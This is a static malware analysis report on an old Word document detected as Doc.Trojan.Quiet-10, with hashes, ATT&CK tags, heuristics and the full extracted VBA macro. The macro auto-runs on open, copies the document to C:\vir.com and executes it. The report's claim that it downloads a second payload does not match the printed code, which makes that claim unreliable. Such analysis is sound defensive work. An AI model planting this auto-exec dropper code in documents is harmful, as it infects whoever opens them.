Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbec1ef4f5461fd4…

MALICIOUS

Office (OLE)

25.5 KB Created: 2002-02-14 19:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8969d5dac016193ee45c6eeb57059d56 SHA-1: bbc06746ef4bd585de7e1a48be38ea5d013233a4 SHA-256: cbec1ef4f5461fd4f0bae344f5ecdeaf4ed159679e88847b0a455c84434e7e37
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro within the Document_Open subroutine. This macro is designed to copy the current document to 'C:\vir.com' and then execute it using the Shell() function. This indicates an attempt to download and run a secondary payload, likely malicious, upon opening the document.

Heuristics 5

  • ClamAV: Doc.Trojan.Quiet-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quiet-10
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 495 bytes
SHA-256: ff0716270dec93d564443aadc7afb5658000f2ec0d08af4b659c28e2dc683eed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Sub CopyFileA Lib "kernel32" (ByVal src As String, ByVal dst As String, ByVal mode As Long)
Sub Document_Open()
On Error Resume Next
CopyFileA ActiveDocument.Name, "C:\vir.com", 0
ChDir "C:\"
Shell "C:\vir.com", 4
End Sub